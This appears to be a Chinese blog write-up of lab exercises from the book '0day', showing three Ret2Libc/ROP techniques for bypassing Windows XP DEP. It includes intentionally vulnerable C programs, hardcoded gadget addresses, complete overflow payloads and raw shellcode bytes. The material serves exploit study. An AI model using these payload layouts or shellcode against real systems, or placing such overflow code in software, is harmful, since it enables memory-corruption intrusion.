DEP绕过之Ret2Libc

还是和linux下溢出利用对比。

开启了DEP后,栈的内存空间变成不可执行,无法再把shellcode布置其中然后执行。而如果在代码区找到一些替代指令,通过ROP链的方式连接起来,来达到shellcode的功能,这在linux下是完全可行的(即ROP技术,毕竟system('/bin/sh')或execve('/bin/sh')是非常简捷的),但是在windows下要复杂的多的多的多,并且不具备通用性。

《0day》书中提到了在继承这种思想(即Ret2Libc)的大前提下,三种经过改进的,相对比较有效的绕过DEP的exploit方法。

1.使用ZwSetInformationProcess( )将DEP关闭后再转入shellcode执行

2.使用VirtualProtect将shellcode所在内存页设置为可执行状态,然后转入shellcode执行

3.使用VirtualAlloc开辟一段具有执行权限的内存空间,复制shellcode到其中执行

0x00 Ret2Libc实战之利用ZwSetInformationProcess

一个进程的DEP设置标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS上,而这个标识可以通过API函数ZwQueryInformationProcess和ZwSetInformationProcess进行查询和修改。(有些资料中将这些函数成为NtQueryInformationProcess和 NtSetInformationProcess,在Ntdll.dll中Nt**函数和Zw**函数功能是完全一样的。

_KEXECUTE_OPTIONS结构定义:

Pos0: ExecuteDisable  :1bit

Pos1: ExecuteEnable   :1bit

Pos2: DisableThunkEmulation : 1bit

Pos3: Permanent         :1bit

Pos4: ExecuteDispatchEnable  : 1bit

Pos5: ImageDispatchEnable  :1bit

Pos6: Spare    :2bit

其中Permanent置1后这些属性都无法再修改。真正影响DEP的是前两位,所以我们只要把_KEXECUTE_OPTIONS设置为2(0b00000010)就可以关闭DEP

关键函数ZwSetInformationProcess的定义:

ZwSetInformationProcess(

    IN HANDLE                ProcessHandle,     //进程的句柄,设置为-1表示当前进程

    IN PROCESS_INFORMATION_CLASS     ProcessInformationClass,     

    IN PVOID                   ProcessInformation,

    IN ULONG                 ProcessInformationLength );

Skape和Skywing在他们的论文Bypassing Windows Hardware-Enforced DEP中给出了关闭DEP的参数设置:

ZwSetInformationProcess(

NtCurrentProcess( ),            //(HANDLE) -1

ProcessExecuteFlags,          // 0x22

&ExecuteFlags,                   // ptr to 0x2

sizeof(ExecuteFlags));      // 0x4

具体的构造利用还要考虑到字符串复制时’\x00'截断的问题,还有一种方法就是在系统中寻找已经构造好的参数,如果系统中存在一处关闭当前进程DEP的调用,我们就可以直接用它构造参数来关闭进程的DEP了。

微软的兼容性考虑,如果一个进程的Permanent位没有设置,当它加载DLL时,如果符合以下条件之一时进程的DEP就会被关闭:

1)当DLL受SafeDisc版权保护系统保护时

2)当DLL包含有 .aspcak   、   .pcle    、  .sforce等字节时

3)windows vista下面当DLL包含在注册表”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DIINXOptions“键下边标识出不需要启动DEP的模块时。

换言之如果我们能够模拟其中一种情况(例如借助ROP更改用于判断的寄存器值),那么当前进程的DEP将被关闭。

一开始想跳过这一节直接看用virtualprotect的方法的,后来发现这里提到了后面也要用到的调整ebp和esp,还是比较有意思的。


首先是漏洞代码:

#include

 #include

#include

#include

char shellcode[]=

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x6f\x69\x74\x21\x68\x65\x78\x70\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x52\xe2\x92\x7c" //mov eax,1 ; retn

"\x24\xcd\x93\x7c";

void test()

{

     char tt[176];

     strcpy(tt,shellcode);

}

int main()

{

      HINSTANCE hInst = LoadLibrary("shell32.dll");

      char temp[200];

      test();

      return 0;

}

先把shellcode放好,然后再用计算偏移量的方法计算还需要多少字节能够覆盖到EIP,并用\x90填充。

用od插件查找LdrpCheckNXCompatibility函数,在0x7c93cd24对al寄存器的值进行检验之前,先在内存中寻找一条mov eax,1  ; retn的rop来修改eax,从而伪造出第一种情况中,DLL受SafeDisc版权保护系统保护的假象,然后再跳转到0x7c93cd24来关闭DEP。

但是程序并没有如我们想象的那样执行:

ebp被我们用来填充的\x90覆盖

原来是我们覆盖EIP的时候把EBP也冲掉了,试图向[EBP-0x4]写入时出现了错误

DEP绕过之Ret2Libc_第1张图片

之后仍然能返回到LdrpCheckNXCompatibility中执行一直到retn,但是实际上所有的jnz都不会跳转,从而根本不会跳转到0x7c956831去执行用于关闭DEP的ZwSetInformationProcess函数!

所以在转入0x7c93cd24前,需要将ebp指向一个可写的位置。满足可写只有esp,我们只能选择push esp pop ebp retn这样一条指令序列。(只是retn 4之后esp相当于+4+4相对ebp位于高地址,接下来若有压栈操作有可能将ebp-0x4覆盖,造成传参(第三个参数&ExecuteFlags)不正确)

ebp-4果然被覆盖变成了0x22,但是其低四位与0x2相同仍然是0100不影响使用。

然后。。。然后就叕叕出问题了

关闭DEP返回的时候发现栈顶变成了0x000004,正是调用ZwSetInformationProcess传参时候压入的4,DEP是关掉了但是没法继续了也很无奈啊。。。究其原因还是因为esp在高地址而且距离ebp太近了,几次压栈就有可能冲掉栈中保存的返回地址,思路大概就是减小esp或者增大ebp,这里采用的办法是干脆增大esp(因为找不到增大ebp,而且shellcode在低地址减小esp的话又会破坏shellcode)

这里使用0x5d18698d的retn 0x28来增大esp:

DEP绕过之Ret2Libc_第2张图片

exploit!

0x01 Ret2Libc实战之利用VirtualProtect

原理上类同linux下用mprotect修改内存页权限来绕过NX执行shellcode(linux x64 ROP in XMAN-Level5)

MSDN 上的函数说明

DEP绕过之Ret2Libc_第3张图片

lpAddress:要改变属性的内存起始地址

dwSize:要改变属性的内存区域大小

flNewProtect:内存新的属性类型,设置为PAGE_EXECUTE_READWRITE(0x40)时该内存页为可读可写可执行

pflOldProtect:内存原始属性类型保存地址

需要注意:

1)参数中包含\x00,使用strcpy复制字符串会被截断,试验中用memcpy构造溢出点

2)试验中使用一种巧妙地栈帧构造方法确定shellcode所在内存空间起始地址

触发漏洞的程序:

#include

#include

#include

#include

char shellcode[]=

""

void test()

{

 char tt[176];

 memcpy(tt,shellcode,420);

}

void jump()

{

 __asm jmp esp;    //书中给的源码是没有这个函数的

}

int main() {

HINSTANCE hInst = LoadLibrary("shell32.dll");

char temp[200];

test();

return 0;

}

首先还是用\x90填充计算多少字节覆盖到返回地址

接着需要调整ebp,还是使用push esp ; pop ebp ; retn 4序列的方式,返回后ebp和esp:

查看我们需要调用的virtualprotectEX函数的传参:

[ebp+0x8]        ===>    lpAddress          //要改变属性的内存起始地址   需要栈中相对于shellcode的低地址

[ebp+0xc]        ===>    dwSize              //要改变属性的内存区域大小   设为0xff完全够用

[ebp+0x10]      ===>    flNewProtect     //内存新的属性类型  0x40即为R W E

[ebp+0x14]      ===>    pflOldProtect     //需要一可写地址


DEP绕过之Ret2Libc_第4张图片

retn 4之后esp恰好指向ebp+0x8,也就是说我们只需要一个mov [esp],**  ;  pop  ;pop  ;retn的指令序列就可以完成传参,但是没有找到这样一条指令序列。

另一种方法就是使esp再增加4字节然后压栈,使esp增加4字节的指令很简单retn就可以完成,接着我们只需要push esp  ; pop ; pop  ;pop  ; retn这样的序列,就可以把esp+0x8的位置写入当前esp的值(显然是相对于shellcode的低地址),紧接着在栈上静态布置好size(0xff)和属性类型(0x40),pop指令不会去修改他们,最后再进行一次push esp pop pop pop retn,[ebp+0x14]需要的一可写地址也满足了,再填充8字节的nop又可以继续构造rop链。

但是并没有找到一条push esp pop pop pop retn的序列,这里就提供一种拼接的方式,首先需要找到拼接的材料:

1)push esp ; jmp eax

2.)pop eax  ; retn

3) pop ;pop ; pop ; retn (不能修改ebp,esp,eax)

                 ////////////////////////////////////////////////////

esp==>     //address of pop eax retn          //

                 ////////////////////////////////////////////////////

                 //address of pop pop pop retn   //

                 /////////////////////////////////////////////////////

                 //address of push esp jmp eax   //

                 /////////////////////////////////////////////////////

如此在栈中布局,就拼接出了一条push esp pop pop pop retn指令序列。然后就可以跳转到0x7c801ad9去执行virtualprotectEX,查看返回值:

eax为1说明修改成功。

最后jmp esp和布置shellcode之前要加入16字节\x90的填充,否则esp指向shellcode中间,shellcode开始处的压栈操作会破坏shellcode自身。

DEP绕过之Ret2Libc_第5张图片


PS:最后发现没有找到可执行的jmp esp???只能自己在代码段里内联了一个,或者既然地址没开随机化可以硬编码shellcode的起始地址。有时间还是学一学idc写一些自己用的方便插件。

0x02 Ret2Libc实战之利用VirtualAlloc

Windows XP

VC++6.0

Ollydbg

ImmunityDebug(mona)

代码:

#include

#include

#include

#include

char shellcode[]=

""

void test()

{

char tt[176];

memcpy(tt,shellcode,450);

}

int main()

{

HINSTANCE hInst = LoadLibrary("shell32.dll");

char temp[200];

test();

return 0;

}

180个填充后覆盖到反对地址

这时ebp已经被我们的输入覆盖了,需要用push esp ; pop ebp ; retn修正ebp,接着就可以调用virtualAlloc()来申请一块新的可写可执行的内存。


DEP绕过之Ret2Libc_第6张图片
MSDN关于函数的参数说明

参数:

0x30000  申请空间起始地址

0xfff         申请空间大小

0x1000     申请类型

0x40         申请空间访问类型(RWE)

DEP绕过之Ret2Libc_第7张图片

如果用这里的0x7c809af4的话,还要在加上一个参数0xffffffff表示当前进程。这些参数都是静态确定的所以可以直接放在栈中传递:

"\x90\x90\x90\x90"

"\x85\x8b\x1d\x5d"           //push esp ; pop ebp ; retn 4

"\xf4\x9a\x80\x7c"            //call VirtualAlloc

"\x90\x90\x90\x90"

"\xff\xff\xff\xff"

"\x00\x00\x03\x00"

"\xff\x00\x00\x00"

"\x00\x10\x00\x00"

"\x40\x00\x00\x00"

返回值为1说明申请成功,此时用od的Memory窗口可以看到0x30000开始的一片内存且权限为RWE。

注意返回的时候有一个pop ebp的指令又破坏了ebp,所以还要重新修正ebp一次。

接着需要做的就是把shellcode复制到0x30000中去执行,可以使用memcpy来完成这一步。

DEP绕过之Ret2Libc_第8张图片

dest:0x30000

src  :<=shellcode start

count:长度可以覆盖到shellcode

可以直接使用程序代码中的memcpy,这里并没有调用ntdll里面的memcpy:

DEP绕过之Ret2Libc_第9张图片


主要需要考虑的就是memcpy的源地址,当然这里shellcode是硬编码进去的,可以静态确定。但是更一般的情况是shellcode出现在用户的输入中,作为局部变量存储在栈中,所以shellcode的起始地址需要我们动态确定。事实上只需要一个在栈中相对于shellcode的低地址就足够了。一条push esp就可以帮助我们完成传参!

考虑第二次修正ebp之后栈的情况

"\x85\x8b\x1d\x5d" //push esp ; pop ebp ; retn 4                               

"\x3d\x19\xfa\x7f"   //pop edx retn      <==== ebp

"\x08\x00\x03\x00"   //memcpy返回后将跳转到这里指向的地址

"\x00\x00\x03\x00"

ebp将会指向如上的位置,此时再在栈中ebp+8的位置填入0x30000,即完成了第一个参数的传入,接着pop retn防止第一个参数被修改,返回地址处填上push esp ; jmp eax,eax可以预先放上一个pop pop retn的地址,即拼出一条push esp ; pop ; pop ; retn的指令,防止后两个参数被修改,retn的地址放上0x401050。

总体的布局:

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90"

"\x85\x8b\x1d\x5d" //adjust ebp retn 4

"\xf4\x9a\x80\x7c" //call virtualalloc

"\x90\x90\x90\x90"

"\xff\xff\xff\xff"

"\x00\x00\x03\x00"

"\xff\x00\x00\x00"

"\x00\x10\x00\x00"

"\x40\x00\x00\x00"

"\x90\x90\x90\x90"

"\xfc\xda\xce\x7d" //pop eax retn

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //paddings for retn 0x10 "\xb9\x81\xce\x7d" //pop pop retn

"\x85\x8b\x1d\x5d" //adjust ebp retn 4

"\x3d\x19\xfa\x7f" //pop edx retn

"\x08\x00\x03\x00"

"\x00\x00\x03\x00"

"\xc6\xc6\xeb\x77" //push esp jmp eax

"\xff\x0f\x00\x00" //length

"\x55\x10\x40\x00"

“......” //shellcode

EXPLOIT!

DEP绕过之Ret2Libc_第10张图片

你可能感兴趣的:(DEP绕过之Ret2Libc)